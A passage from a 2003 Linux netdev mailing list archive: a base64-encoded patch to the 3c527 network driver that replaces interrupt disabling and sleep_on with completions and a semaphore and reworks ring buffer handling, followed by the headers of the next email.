ZT09SEFMVEVEKSAgDQorCWlmIChscC0+eGNlaXZlcl9kZXNpcmVkX3N0YXRl PT1IQUxURUQpICANCiAJCXJldHVybjsgDQogDQorCS8qIEdpdmUgdGhlIGNh cmQgdGhlIG9mZnNldCB0byB0aGUgcG9zdC1FT0wtYml0IFJYIGRlc2NyaXB0 b3IgKi8gDQogCW1jMzJfcmVhZHlfcG9sbChkZXYpOyANCi0NCi0JbHAtPnR4 X2JveC0+bWJveD0wOw0KIAlscC0+cnhfYm94LT5tYm94PTA7DQotDQotCS8q IEdpdmUgdGhlIGNhcmQgdGhlIG9mZnNldCB0byB0aGUgcG9zdC1FT0wtYml0 IFJYIGRlc2NyaXB0b3IgKi8gDQogCWxwLT5yeF9ib3gtPmRhdGFbMF09bHAt PnJ4X3JpbmdbcHJldl9yeChscC0+cnhfcmluZ190YWlsKV0ucC0+bmV4dDsg DQotDQogCW91dGIoSE9TVF9DTURfU1RBUlRfUlgsIGlvYWRkcitIT1NUX0NN RCk7ICAgICAgDQogDQogCW1jMzJfcmVhZHlfcG9sbChkZXYpOyANCisJbHAt PnR4X2JveC0+bWJveD0wOyANCiAJb3V0YihIT1NUX0NNRF9SRVNUUlRfVFgs IGlvYWRkcitIT1NUX0NNRCk7ICAgLyogY2FyZCBpZ25vcmVzIHRoaXMgb24g UlggcmVzdGFydCAqLyANCiAJDQogCS8qIFdlIGFyZSBub3QgaW50ZXJydXB0 ZWQgb24gc3RhcnQgY29tcGxldGlvbiAqLyANCi0JbHAtPnhjZWl2ZXJfc3Rh dGU9UlVOTklORzsgDQogfQ0KIA0KIA0KQEAgLTcyNSwyNSArNjk4LDE3IEBA DQogew0KIAlzdHJ1Y3QgbWMzMl9sb2NhbCAqbHAgPSAoc3RydWN0IG1jMzJf bG9jYWwgKilkZXYtPnByaXY7DQogCWludCBpb2FkZHIgPSBkZXYtPmJhc2Vf YWRkcjsNCi0JdW5zaWduZWQgbG9uZyBmbGFnczsNCiANCiAJbWMzMl9yZWFk eV9wb2xsKGRldik7CQ0KLQ0KLQlscC0+dHhfYm94LT5tYm94PTA7DQogCWxw LT5yeF9ib3gtPm1ib3g9MDsNCi0NCiAJb3V0YihIT1NUX0NNRF9TVVNQTkRf UlgsIGlvYWRkcitIT1NUX0NNRCk7CQkJDQorCXdhaXRfZm9yX2NvbXBsZXRp b24oJmxwLT54Y2VpdmVyX2NtZCk7IA0KKw0KIAltYzMyX3JlYWR5X3BvbGwo ZGV2KTsgDQorCWxwLT50eF9ib3gtPm1ib3g9MDsNCiAJb3V0YihIT1NUX0NN RF9TVVNQTkRfVFgsIGlvYWRkcitIT1NUX0NNRCk7CQ0KLQkJDQotCXNhdmVf ZmxhZ3MoZmxhZ3MpOw0KLQljbGkoKTsNCi0JCQ0KLQl3aGlsZShscC0+eGNl aXZlcl9zdGF0ZSE9SEFMVEVEKSANCi0JCXNsZWVwX29uKCZscC0+ZXZlbnQp OyANCi0JCQ0KLQlyZXN0b3JlX2ZsYWdzKGZsYWdzKTsJDQotfSANCisJd2Fp dF9mb3JfY29tcGxldGlvbigmbHAtPnhjZWl2ZXJfY21kKTsgDQorfQ0KIA0K IA0KIC8qKg0KQEAgLTc1NCw3ICs3MTksNyBAQA0KICAqCXRoZSBwb2ludCB3 aGVyZSBtYzMyX3N0YXJ0X3RyYW5zY2VpdmVyKCkgY2FuIGJlIGNhbGxlZC4N CiAgKg0KICAqCVRoZSBjYXJkIHNldHMgdXAgdGhlIHJlY2VpdmUgcmluZyBm b3IgdXMuIFdlIGFyZSByZXF1aXJlZCB0byB1c2UgdGhlDQotICoJcmluZyBp dCBwcm92aWRlcyBhbHRob3VnaCB3ZSBjYW4gY2hhbmdlIHRoZSBzaXplIG9m IHRoZSByaW5nLg0KKyAqCXJpbmcgaXQgcHJvdmlkZXMsIGFsdGhvdWdoIHRo ZSBzaXplIG9mIHRoZSByaW5nIGlzIGNvbmZpZ3VyYWJsZS4gDQogICoNCiAg KiAJV2UgYWxsb2NhdGUgYW4gc2tfYnVmZiBmb3IgZWFjaCByaW5nIGVudHJ5 IGluIHR1cm4gYW5kDQogICogCWluaXRhbGlzZSBpdHMgaG91c2Uta2VlcGlu ZyBpbmZvLiBBdCB0aGUgc2FtZSB0aW1lLCB3ZSByZWFkDQpAQCAtNzc1LDcg Kzc0MCw3IEBADQogCQ0KIAlyeF9iYXNlPWxwLT5yeF9jaGFpbjsNCiANCi0J Zm9yKGk9MDtpPFJYX1JJTkdfTEVOO2krKykNCisJZm9yKGk9MDsgaTxSWF9S SU5HX0xFTjsgaSsrKQ0KIAl7DQogCQlscC0+cnhfcmluZ1tpXS5za2I9YWxs b2Nfc2tiKDE1MzIsIEdGUF9LRVJORUwpOw0KIAkJc2tiX3Jlc2VydmUobHAt PnJ4X3JpbmdbaV0uc2tiLCAxOCk7ICANCkBAIC04MTIsMjEgKzc3NywxOSBA QA0KICAqDQogICoJRnJlZSB0aGUgYnVmZmVyIGZvciBlYWNoIHJpbmcgc2xv dC4gVGhpcyBtYXkgYmUgY2FsbGVkIA0KICAqICAgICAgYmVmb3JlIG1jMzJf bG9hZF9yeF9yaW5nKCksIGVnLiBvbiBlcnJvciBpbiBtYzMyX29wZW4oKS4N CisgKiAgICAgIFJlcXVpcmVzIHJ4IHNrYiBwb2ludGVycyB0byBwb2ludCB0 byBhIHZhbGlkIHNrYiwgb3IgTlVMTC4gDQogICovDQogDQogc3RhdGljIHZv aWQgbWMzMl9mbHVzaF9yeF9yaW5nKHN0cnVjdCBuZXRfZGV2aWNlICpkZXYp DQogew0KIAlzdHJ1Y3QgbWMzMl9sb2NhbCAqbHAgPSAoc3RydWN0IG1jMzJf bG9jYWwgKilkZXYtPnByaXY7DQotCQ0KLQlzdHJ1Y3Qgc2tfYnVmZiAqc2ti Ow0KIAlpbnQgaTsgDQogDQogCWZvcihpPTA7IGkgPCBSWF9SSU5HX0xFTjsg aSsrKSANCiAJeyANCi0JCXNrYiA9IGxwLT5yeF9yaW5nW2ldLnNrYjsNCi0J CWlmIChza2IhPU5VTEwpIHsNCi0JCQlrZnJlZV9za2Ioc2tiKTsNCi0JCQlz a2I9TlVMTDsgDQorCQlpZiAobHAtPnJ4X3JpbmdbaV0uc2tiKSB7DQorCQkJ ZGV2X2tmcmVlX3NrYihscC0+cnhfcmluZ1tpXS5za2IpOw0KKwkJCWxwLT5y eF9yaW5nW2ldLnNrYiA9IE5VTEw7IA0KIAkJfQ0KIAkJbHAtPnJ4X3Jpbmdb aV0ucD1OVUxMOyANCiAJfSANCkBAIC04NTgsNyArODIxLDcgQEANCiANCiAJ dHhfYmFzZT1scC0+dHhfYm94LT5kYXRhWzBdOyANCiANCi0JZm9yKGk9MDtp PGxwLT50eF9sZW47aSsrKSANCisJZm9yKGk9MCA7IGk8VFhfUklOR19MRU4g OyBpKyspIA0KIAl7DQogCQlwPWlzYV9idXNfdG9fdmlydChscC0+YmFzZSt0 eF9iYXNlKTsNCiAJCWxwLT50eF9yaW5nW2ldLnA9cDsgDQpAQCAtODY3LDgg KzgzMCw4IEBADQogCQl0eF9iYXNlPXAtPm5leHQ7DQogCX0NCiANCi0JLyog LTEgc28gdGhhdCB0eF9yaW5nX2hlYWQgY2Fubm90ICJsYXAiIHR4X3Jpbmdf dGFpbCwgICAgICAgICAgICovDQotCS8qIHdoaWNoIHdvdWxkIGJlIGJhZCBu ZXdzIGZvciBtYzMyX3R4X3JpbmcgYXMgY3VyLiBpbXBsZW1lbnRlZCAqLyAN CisJLyogLTEgc28gdGhhdCB0eF9yaW5nX2hlYWQgY2Fubm90ICJsYXAiIHR4 X3JpbmdfdGFpbCAqLw0KKwkvKiBzZWUgbWMzMl90eF9yaW5nICovIA0KIA0K IAlhdG9taWNfc2V0KCZscC0+dHhfY291bnQsIFRYX1JJTkdfTEVOLTEpOyAN CiAJbHAtPnR4X3JpbmdfaGVhZD1scC0+dHhfcmluZ190YWlsPTA7IA0KQEAg LTg3OSw0NSArODQyLDI2IEBADQogICoJbWMzMl9mbHVzaF90eF9yaW5nIAkt CWZyZWUgdHJhbnNtaXQgcmluZw0KICAqCUBscDogTG9jYWwgZGF0YSBvZiAz YzUyNyB0byBmbHVzaCB0aGUgdHggcmluZyBvZg0KICAqDQotICoJV2UgaGF2 ZSB0byBjb25zaWRlciB0d28gY2FzZXMgaGVyZS4gV2Ugd2FudCB0byBmcmVl IHRoZSBwZW5kaW5nDQotICoJYnVmZmVycyBvbmx5LiBJZiB0aGUgcmluZyBi dWZmZXIgaGVhZCBpcyBwYXN0IHRoZSBzdGFydCB0aGVuIHRoZQ0KLSAqCXJp bmcgc2VnbWVudCB3ZSB3aXNoIHRvIGZyZWUgd3JhcHMgdGhyb3VnaCB6ZXJv LiBUaGUgdHggcmluZyANCi0gKglob3VzZS1rZWVwaW5nIHZhcmlhYmxlcyBh cmUgdGhlbiByZXNldC4NCisgKiAgICAgIElmIHRoZSByaW5nIGlzIG5vbi1l bXB0eSwgemlwIG92ZXIgdGhlIGl0LCBmcmVlaW5nIGFueQ0KKyAqICAgICAg YWxsb2NhdGVkIHNrYl9idWZmcy4gIFRoZSB0eCByaW5nIGhvdXNlLWtlZXBp bmcgdmFyaWFibGVzIGFyZQ0KKyAqICAgICAgdGhlbiByZXNldC4gUmVxdWly ZXMgcnggc2tiIHBvaW50ZXJzIHRvIHBvaW50IHRvIGEgdmFsaWQgc2tiLA0K KyAqICAgICAgb3IgTlVMTC4NCiAgKi8NCiANCiBzdGF0aWMgdm9pZCBtYzMy X2ZsdXNoX3R4X3Jpbmcoc3RydWN0IG5ldF9kZXZpY2UgKmRldikNCiB7DQog CXN0cnVjdCBtYzMyX2xvY2FsICpscCA9IChzdHJ1Y3QgbWMzMl9sb2NhbCAq KWRldi0+cHJpdjsNCi0JDQotCWlmKGxwLT50eF9yaW5nX3RhaWwhPWxwLT50 eF9yaW5nX2hlYWQpDQotCXsNCi0JCWludCBpOwkNCi0JCWlmKGxwLT50eF9y aW5nX3RhaWwgPCBscC0+dHhfcmluZ19oZWFkKQ0KLQkJew0KLQkJCWZvcihp PWxwLT50eF9yaW5nX3RhaWw7aTxscC0+dHhfcmluZ19oZWFkO2krKykNCi0J CQl7DQotCQkJCWRldl9rZnJlZV9za2IobHAtPnR4X3JpbmdbaV0uc2tiKTsN Ci0JCQkJbHAtPnR4X3JpbmdbaV0uc2tiPU5VTEw7DQotCQkJCWxwLT50eF9y aW5nW2ldLnA9TlVMTDsgDQotCQkJfQ0KLQkJfQ0KLQkJZWxzZQ0KLQkJew0K LQkJCWZvcihpPWxwLT50eF9yaW5nX3RhaWw7IGk8VFhfUklOR19MRU47IGkr KykgDQotCQkJew0KLQkJCQlkZXZfa2ZyZWVfc2tiKGxwLT50eF9yaW5nW2ld LnNrYik7DQotCQkJCWxwLT50eF9yaW5nW2ldLnNrYj1OVUxMOw0KLQkJCQls cC0+dHhfcmluZ1tpXS5wPU5VTEw7IA0KLQkJCX0NCi0JCQlmb3IoaT0wOyBp PGxwLT50eF9yaW5nX2hlYWQ7IGkrKykgDQotCQkJew0KLQkJCQlkZXZfa2Zy ZWVfc2tiKGxwLT50eF9yaW5nW2ldLnNrYik7DQotCQkJCWxwLT50eF9yaW5n W2ldLnNrYj1OVUxMOw0KLQkJCQlscC0+dHhfcmluZ1tpXS5wPU5VTEw7IA0K LQkJCX0NCi0JCX0NCi0JfQ0KLQkNCisJaW50IGk7IA0KKw0KKwlmb3IgKGk9 MDsgaSA8IFRYX1JJTkdfTEVOOyBpKyspIA0KKwl7IA0KKwkJaWYgKGxwLT50 eF9yaW5nW2ldLnNrYikgDQorCQl7IA0KKwkJCWRldl9rZnJlZV9za2IobHAt PnR4X3JpbmdbaV0uc2tiKTsgDQorCQkJbHAtPnR4X3JpbmdbaV0uc2tiID0g TlVMTDsgDQorCQl9IA0KKwl9IA0KKwkJDQogCWF0b21pY19zZXQoJmxwLT50 eF9jb3VudCwgMCk7IA0KIAlscC0+dHhfcmluZ190YWlsPWxwLT50eF9yaW5n X2hlYWQ9MDsNCiB9DQpAQCAtOTU2LDYgKzkwMCwxMiBAQA0KIAlyZWdzfD1I T1NUX0NUUkxfSU5URTsNCiAJb3V0YihyZWdzLCBpb2FkZHIrSE9TVF9DVFJM KTsNCiAJDQorCS8qIA0KKwkgKiAgICAgIEFsbG93IG91cnNlbHZlcyB0byBp c3N1ZSBjb21tYW5kcyANCisJICovIA0KKw0KKwl1cCgmbHAtPmNtZF9tdXRl eCk7IA0KKw0KIA0KIAkvKg0KIAkgKglTZW5kIHRoZSBpbmRpY2F0aW9ucyBv biBjb21tYW5kDQpAQCAtMTAwOCw3ICs5NTgsNyBAQA0KIAkJcmV0dXJuIC1F Tk9CVUZTOw0KIAl9DQogDQotCWxwLT5kZXNpcmVkX3N0YXRlID0gUlVOTklO RzsgDQorCWxwLT54Y2VpdmVyX2Rlc2lyZWRfc3RhdGUgPSBSVU5OSU5HOyAN CiAJDQogCS8qIEFuZCBmaW5hbGx5LCBzZXQgdGhlIGJhbGwgcm9sbGluZy4u LiAqLw0KIAltYzMyX3N0YXJ0X3RyYW5zY2VpdmVyKGRldik7DQpAQCAtMTA0 NSw2MCArOTk1LDY0IEBADQogICoJVHJhbnNtaXQgYSBidWZmZXIuIFRoaXMg bm9ybWFsbHkgbWVhbnMgdGhyb3dpbmcgdGhlIGJ1ZmZlciBvbnRvDQogICoJ dGhlIHRyYW5zbWl0IHF1ZXVlIGFzIHRoZSBxdWV1ZSBpcyBxdWl0ZSBsYXJn ZS4gSWYgdGhlIHF1ZXVlIGlzDQogICoJZnVsbCB0aGVuIHdlIHNldCB0eF9i dXN5IGFuZCByZXR1cm4uIE9uY2UgdGhlIGludGVycnVwdCBoYW5kbGVyDQot ICoJZ2V0cyBtZXNzYWdlcyB0ZWxsaW5nIGl0IHRvIHJlY2xhaW0gdHJhbnNt aXQgcXVldWUgZW50cmllcyB3ZSB3aWxsDQorICoJZ2V0cyBtZXNzYWdlcyB0 ZWxsaW5nIGl0IHRvIHJlY2xhaW0gdHJhbnNtaXQgcXVldWUgZW50cmllcywg d2Ugd2lsbA0KICAqCWNsZWFyIHR4X2J1c3kgYW5kIHRoZSBrZXJuZWwgd2ls bCBzdGFydCBjYWxsaW5nIHRoaXMgYWdhaW4uDQotICoNCi0gKglXZSB1c2Ug Y2xpIHJhdGhlciB0aGFuIHNwaW5sb2Nrcy4gU2luY2UgSSBoYXZlIG5vIGFj Y2VzcyB0byBhbiBTTVANCi0gKglNQ0EgbWFjaGluZSBJIGRvbid0IHBsYW4g dG8gY2hhbmdlIGl0LiBJdCBpcyBwcm9iYWJseSB0aGUgdG9wIA0KLSAqCXBl cmZvcm1hbmNlIGhpdCBmb3IgdGhpcyBkcml2ZXIgb24gU01QIGhvd2V2ZXIu DQotICovDQotDQorICogDQorICogICAgICBXZSBkbyBub3QgZGlzYWJsZSBp bnRlcnJ1cHRzIG9yIGFjcXVpcmUgYW55IGxvY2tzOyB0aGlzIGNhbg0KKyAq ICAgICAgcnVuIGNvbmN1cnJlbnRseSB3aXRoIG1jMzJfdHhfcmluZygpLCBh bmQgdGhlIGZ1bmN0aW9uIGl0c2VsZg0KKyAqICAgICAgaXMgc2VyaWFsaXNl ZCBhdCBhIGhpZ2hlciBsYXllci4gSG93ZXZlciwgdGhpcyBtYWtlcyBpdA0K KyAqICAgICAgY3J1Y2lhbCB0aGF0IHdlIHVwZGF0ZSBscC0+dHhfcmluZ19o ZWFkIG9ubHkgYWZ0ZXIgd2UndmUNCisgKiAgICAgIGVzdGFibGlzaGVkIGEg dmFsaWQgcGFja2V0IGluIHRoZSB0eCByaW5nIChhbmQgaXMgd2h5IHdlIG1h cmsNCisgKiAgICAgIHR4X3JpbmdfaGVhZCB2b2xhdGlsZSkuIA0KKyAqIA0K KyAqKi8NCiBzdGF0aWMgaW50IG1jMzJfc2VuZF9wYWNrZXQoc3RydWN0IHNr X2J1ZmYgKnNrYiwgc3RydWN0IG5ldF9kZXZpY2UgKmRldikNCiB7DQogCXN0 cnVjdCBtYzMyX2xvY2FsICpscCA9IChzdHJ1Y3QgbWMzMl9sb2NhbCAqKWRl di0+cHJpdjsNCi0JdW5zaWduZWQgbG9uZyBmbGFnczsNCi0NCisJdTE2IGhl YWQgPSBscC0+dHhfcmluZ19oZWFkOyANCisJDQogCXZvbGF0aWxlIHN0cnVj dCBza2JfaGVhZGVyICpwLCAqbnA7DQogDQogCW5ldGlmX3N0b3BfcXVldWUo ZGV2KTsNCiANCi0Jc2F2ZV9mbGFncyhmbGFncyk7DQotCWNsaSgpOw0KLQkJ DQotCWlmKGF0b21pY19yZWFkKCZscC0+dHhfY291bnQpPT0wKQ0KLQl7DQot CQlyZXN0b3JlX2ZsYWdzKGZsYWdzKTsNCisJaWYoYXRvbWljX3JlYWQoJmxw LT50eF9jb3VudCk9PTApIHsNCiAJCXJldHVybiAxOw0KIAl9DQorCQ0KKwlz a2IgPSBza2JfcGFkdG8oc2tiLCBFVEhfWkxFTik7IA0KKw0KKwlpZiAoc2ti ID09IE5VTEwpIHsgDQorCQluZXRpZl93YWtlX3F1ZXVlKGRldik7IA0KKwkJ cmV0dXJuIDA7IA0KKwl9IA0KIA0KIAlhdG9taWNfZGVjKCZscC0+dHhfY291 bnQpOyANCiANCiAJLyogUCBpcyB0aGUgbGFzdCBzZW5kaW5nL3NlbnQgYnVm ZmVyIGFzIGEgcG9pbnRlciAqLw0KLQlwPWxwLT50eF9yaW5nW2xwLT50eF9y aW5nX2hlYWRdLnA7IA0KKwlwPWxwLT50eF9yaW5nW2hlYWRdLnA7IA0KIAkJ DQotCWxwLT50eF9yaW5nX2hlYWQ9bmV4dF90eChscC0+dHhfcmluZ19oZWFk KTsgDQorCWhlYWQgPSBuZXh0X3R4KGhlYWQpOyANCiANCiAJLyogTlAgaXMg dGhlIGJ1ZmZlciB3ZSB3aWxsIGJlIGxvYWRpbmcgKi8NCi0JbnA9bHAtPnR4 X3JpbmdbbHAtPnR4X3JpbmdfaGVhZF0ucDsgDQorCW5wPWxwLT50eF9yaW5n W2hlYWRdLnA7IA0KIA0KIAkvKiBXZSB3aWxsIG5lZWQgdGhpcyB0byBmbHVz aCB0aGUgYnVmZmVyIG91dCAqLw0KLQlscC0+dHhfcmluZ1tscC0+dHhfcmlu Z19oZWFkXS5za2I9c2tiOw0KKwlscC0+dHhfcmluZ1toZWFkXS5za2I9c2ti Ow0KICAgIAkgICANCi0gICAJaWYgKHNrYi0+bGVuIDwgRVRIX1pMRU4pIHsN Ci0gICAJCXNrYiA9IHNrYl9wYWR0byhza2IsIEVUSF9aTEVOKTsNCi0gICAJ CWlmIChza2IgPT0gTlVMTCkNCi0gICAJCQlnb3RvIG91dDsNCi0gICAJfQ0K LQlucC0+bGVuZ3RoID0gKHNrYi0+bGVuIDwgRVRIX1pMRU4pID8gRVRIX1pM RU4gOiBza2ItPmxlbjsgDQorCW5wLT5sZW5ndGggPSB1bmxpa2VseShza2It PmxlbiA8IEVUSF9aTEVOKSA/IEVUSF9aTEVOIDogc2tiLT5sZW47IA0KIAkJ CQ0KIAlucC0+ZGF0YQk9IGlzYV92aXJ0X3RvX2J1cyhza2ItPmRhdGEpOw0K IAlucC0+c3RhdHVzCT0gMDsNCiAJbnAtPmNvbnRyb2wgICAgID0gQ09OVFJP TF9FT1AgfCBDT05UUk9MX0VPTDsgICAgIA0KIAl3bWIoKTsNCiAJCQ0KLQlw LT5jb250cm9sICAgICAmPSB+Q09OVFJPTF9FT0w7ICAgICAvKiBDbGVhciBF T0wgb24gcCAqLyANCi1vdXQ6CQ0KLQlyZXN0b3JlX2ZsYWdzKGZsYWdzKTsN CisJLyogDQorCSAqIFRoZSBuZXcgZnJhbWUgaGFzIGJlZW4gc2V0dXA7IHdl IGNhbiBub3cgDQorCSAqIGxldCB0aGUgY2FyZCBhbmQgaW50ZXJydXB0IGhh bmRsZXIgInNlZSIgaXQNCisJICovIA0KKw0KKwlwLT5jb250cm9sICAgICAm PSB+Q09OVFJPTF9FT0w7DQorCWxwLT50eF9yaW5nX2hlYWQ9IGhlYWQ7DQog DQogCW5ldGlmX3dha2VfcXVldWUoZGV2KTsNCiAJcmV0dXJuIDA7DQpAQCAt MTE3OSwxMCArMTEzMywxMSBAQA0KIHsNCiAJc3RydWN0IG1jMzJfbG9jYWwg KmxwPWRldi0+cHJpdjsJCQ0KIAl2b2xhdGlsZSBzdHJ1Y3Qgc2tiX2hlYWRl ciAqcDsNCi0JdTE2IHJ4X3JpbmdfdGFpbCA9IGxwLT5yeF9yaW5nX3RhaWw7 DQotCXUxNiByeF9vbGRfdGFpbCA9IHJ4X3JpbmdfdGFpbDsgDQotDQorCXUx NiByeF9yaW5nX3RhaWw7IA0KKwl1MTYgcnhfb2xkX3RhaWw7IA0KIAlpbnQg eD0wOw0KKw0KKwlyeF9vbGRfdGFpbCA9IHJ4X3JpbmdfdGFpbCA9IGxwLT5y eF9yaW5nX3RhaWw7IA0KIAkNCiAJZG8NCiAJeyANCkBAIC0xMjcyLDcgKzEy MjcsMTIgQEANCiAJc3RydWN0IG1jMzJfbG9jYWwgKmxwPShzdHJ1Y3QgbWMz Ml9sb2NhbCAqKWRldi0+cHJpdjsNCiAJdm9sYXRpbGUgc3RydWN0IHNrYl9o ZWFkZXIgKm5wOw0KIA0KLQkvKiBOQjogbHAtPnR4X2NvdW50PVRYX1JJTkdf TEVOLTEgc28gdGhhdCB0eF9yaW5nX2hlYWQgY2Fubm90ICJsYXAiIHRhaWwg aGVyZSAqLw0KKwkvKiANCisJICogV2UgcmVseSBvbiBoZWFkPT10YWlsIHRv IG1lYW4gJ3F1ZXVlIGVtcHR5Jy4gDQorCSAqIFRoaXMgaXMgd2h5IGxwLT50 eF9jb3VudD1UWF9SSU5HX0xFTi0xOiBpbiBvcmRlciB0byBwcmV2ZW50IA0K KwkgKiB0eF9yaW5nX2hlYWQgd3JhcHBpbmcgdG8gdGFpbCBhbmQgY29uZnVz aW5nIGEgJ3F1ZXVlIGVtcHR5JyANCisJICogY29uZGl0aW9uIHdpdGggJ3F1 ZXVlIGZ1bGwnIA0KKwkgKi8NCiANCiAJd2hpbGUgKGxwLT50eF9yaW5nX3Rh aWwgIT0gbHAtPnR4X3JpbmdfaGVhZCkgIA0KIAl7ICAgDQpAQCAtMTM4NSw4 ICsxMzQ1LDcgQEANCiAJCQkJYnJlYWs7DQogCQkJY2FzZSAzOiAvKiBIYWx0 ICovDQogCQkJY2FzZSA0OiAvKiBBYm9ydCAqLw0KLQkJCQlscC0+eGNlaXZl cl9zdGF0ZSB8PSBUWF9IQUxURUQ7IA0KLQkJCQl3YWtlX3VwKCZscC0+ZXZl bnQpOw0KKwkJCQljb21wbGV0ZSgmbHAtPnhjZWl2ZXJfY21kKTsgDQogCQkJ CWJyZWFrOw0KIAkJCWRlZmF1bHQ6DQogCQkJCXByaW50aygiJXM6IHN0cmFu Z2UgdHggYWNrICVkXG4iLCBkZXYtPm5hbWUsIHN0YXR1cyY3KTsNCkBAIC0x NDAxLDggKzEzNjAsNyBAQA0KIAkJCQlicmVhazsNCiAJCQljYXNlIDM6IC8q IEhhbHQgKi8NCiAJCQljYXNlIDQ6IC8qIEFib3J0ICovDQotCQkJCWxwLT54 Y2VpdmVyX3N0YXRlIHw9IFJYX0hBTFRFRDsNCi0JCQkJd2FrZV91cCgmbHAt PmV2ZW50KTsNCisJCQkJY29tcGxldGUoJmxwLT54Y2VpdmVyX2NtZCk7IA0K IAkJCQlicmVhazsNCiAJCQljYXNlIDY6DQogCQkJCS8qIE91dCBvZiBSWCBi dWZmZXJzIHN0YXQgKi8NCkBAIC0xNDE4LDI2ICsxMzc2LDE5IEBADQogCQlz dGF0dXM+Pj0zOw0KIAkJaWYoc3RhdHVzJjEpDQogCQl7DQotDQotCQkJLyog MD1ubyAxPXllcyAyPXJlcGxpZWQsIGdldCBjbWQsIDMgPSB3YWl0IHJlcGx5 ICYgZHVtcCBpdCAqLw0KLQkJCQ0KLQkJCWlmKGxwLT5leGVjX3BlbmRpbmch PTMpIHsNCi0JCQkJbHAtPmV4ZWNfcGVuZGluZz0yOw0KLQkJCQl3YWtlX3Vw KCZscC0+ZXZlbnQpOw0KLQkJCX0NCi0JCQllbHNlIA0KLQkJCXsJCQkJDQot CQkJICAJbHAtPmV4ZWNfcGVuZGluZz0wOw0KLQ0KLQkJCQkvKiBBIG5ldyBt dWx0aWNhc3Qgc2V0IG1heSBoYXZlIGJlZW4NCi0JCQkJICAgYmxvY2tlZCB3 aGlsZSB0aGUgb2xkIG9uZSB3YXMNCi0JCQkJICAgcnVubmluZy4gSWYgc28s IGRvIGl0IG5vdy4gKi8NCisJCQkvKiANCisJCQkgKiBObyB0aHJlYWQgaXMg d2FpdGluZzogd2UgbmVlZCB0byB0aWR5IA0KKwkJCSAqIHVwIG91cnNlbGYu ICANCisJCQkgKi8gDQogCQkJCSAgIA0KKwkJCWlmIChscC0+Y21kX25vbmJs b2NraW5nKSB7IA0KKwkJCQl1cCgmbHAtPmNtZF9tdXRleCk7IA0KIAkJCQlp ZiAobHAtPm1jX3JlbG9hZF93YWl0KSANCiAJCQkJCW1jMzJfcmVzZXRfbXVs dGljYXN0X2xpc3QoZGV2KTsNCi0JCQkJZWxzZSANCi0JCQkJCXdha2VfdXAo JmxwLT5ldmVudCk7CQkJICAgICAgIA0KLQkJCX0NCisJCQl9IA0KKwkJCWVs c2UgeyANCisJCQkJY29tcGxldGUoJmxwLT5leGVjdXRpb25fY21kKTsgDQor CQkJfSANCiAJCX0NCiAJCWlmKHN0YXR1cyYyKQ0KIAkJew0KQEAgLTE0OTAs MTIgKzE0NDEsMTIgQEANCiBzdGF0aWMgaW50IG1jMzJfY2xvc2Uoc3RydWN0 IG5ldF9kZXZpY2UgKmRldikNCiB7DQogCXN0cnVjdCBtYzMyX2xvY2FsICps cCA9IChzdHJ1Y3QgbWMzMl9sb2NhbCAqKWRldi0+cHJpdjsNCi0NCiAJaW50 IGlvYWRkciA9IGRldi0+YmFzZV9hZGRyOw0KKw0KIAl1OCByZWdzOw0KIAl1 MTYgb25lPTE7DQogCQ0KLQlscC0+ZGVzaXJlZF9zdGF0ZSA9IEhBTFRFRDsN CisJbHAtPnhjZWl2ZXJfZGVzaXJlZF9zdGF0ZSA9IEhBTFRFRDsNCiAJbmV0 aWZfc3RvcF9xdWV1ZShkZXYpOw0KIA0KIAkvKg0KQEAgLTE1MDgsMTEgKzE0 NTksMTAgQEANCiANCiAJbWMzMl9oYWx0X3RyYW5zY2VpdmVyKGRldik7IA0K IAkNCi0JLyogQ2F0Y2ggYW55IHdhaXRpbmcgY29tbWFuZHMgKi8NCisJLyog RW5zdXJlIHdlIGlzc3VlIG5vIG1vcmUgY29tbWFuZHMgYmV5b25kIHRoaXMg cG9pbnQgKi8NCisNCisJZG93bigmbHAtPmNtZF9tdXRleCk7IA0KIAkNCi0J d2hpbGUobHAtPmV4ZWNfcGVuZGluZz09MSkNCi0JCXNsZWVwX29uKCZscC0+ ZXZlbnQpOw0KLQkgICAgICAgDQogCS8qIE9rIHRoZSBjYXJkIGlzIG5vdyBz dG9wcGluZyAqLwkNCiAJDQogCXJlZ3M9aW5iKGlvYWRkcitIT1NUX0NUUkwp Ow0KQEAgLTE1MzksMTIgKzE0ODksOSBAQA0KIA0KIHN0YXRpYyBzdHJ1Y3Qg bmV0X2RldmljZV9zdGF0cyAqbWMzMl9nZXRfc3RhdHMoc3RydWN0IG5ldF9k ZXZpY2UgKmRldikNCiB7DQotCXN0cnVjdCBtYzMyX2xvY2FsICpscDsNCisJ c3RydWN0IG1jMzJfbG9jYWwgKmxwID0gKHN0cnVjdCBtYzMyX2xvY2FsICop ZGV2LT5wcml2Ow0KIAkNCiAJbWMzMl91cGRhdGVfc3RhdHMoZGV2KTsgDQot DQotCWxwID0gKHN0cnVjdCBtYzMyX2xvY2FsICopZGV2LT5wcml2Ow0KLQ0K IAlyZXR1cm4gJmxwLT5uZXRfc3RhdHM7DQogfQ0KIA0KLS0tIGRyaXZlcnMv bmV0LzNjNTI3Lmgub3JpZwkyMDAzLTA5LTE2IDIxOjE5OjE3LjAwMDAwMDAw MCArMTIwMA0KKysrIGRyaXZlcnMvbmV0LzNjNTI3LmgJMjAwMy0wOS0xNiAy MToxOToyMy4wMDAwMDAwMDAgKzEyMDANCkBAIC0yNywxMCArMjcsOCBAQA0K IA0KICNkZWZpbmUgSE9TVF9SQU1QQUdFCQk4DQogDQotI2RlZmluZSBSWF9I QUxURUQgKDE8PDApDQotI2RlZmluZSBUWF9IQUxURUQgKDE8PDEpICANCi0j ZGVmaW5lIEhBTFRFRCAoUlhfSEFMVEVEIHwgVFhfSEFMVEVEKQ0KLSNkZWZp bmUgUlVOTklORyAwDQorI2RlZmluZSBIQUxURUQgMA0KKyNkZWZpbmUgUlVO TklORyAxIA0KIA0KIHN0cnVjdCBtYzMyX21haWxib3gNCiB7DQo= ---1463810815-1993206058-1063827368=:967-- From jgarzik@pobox.com Wed Sep 24 01:11:12 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Sep 2003 01:11:20 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8O8BAFx004757 for ; Wed, 24 Sep 2003 01:11:11 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33737 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A1xTY-0004di-1W; Wed, 24 Sep 2003 01:25:48 +0100 Message-ID: <3F70E47F.6020507@pobox.com> Date: Tue, 23 Sep 2003 20:25:35 -0400 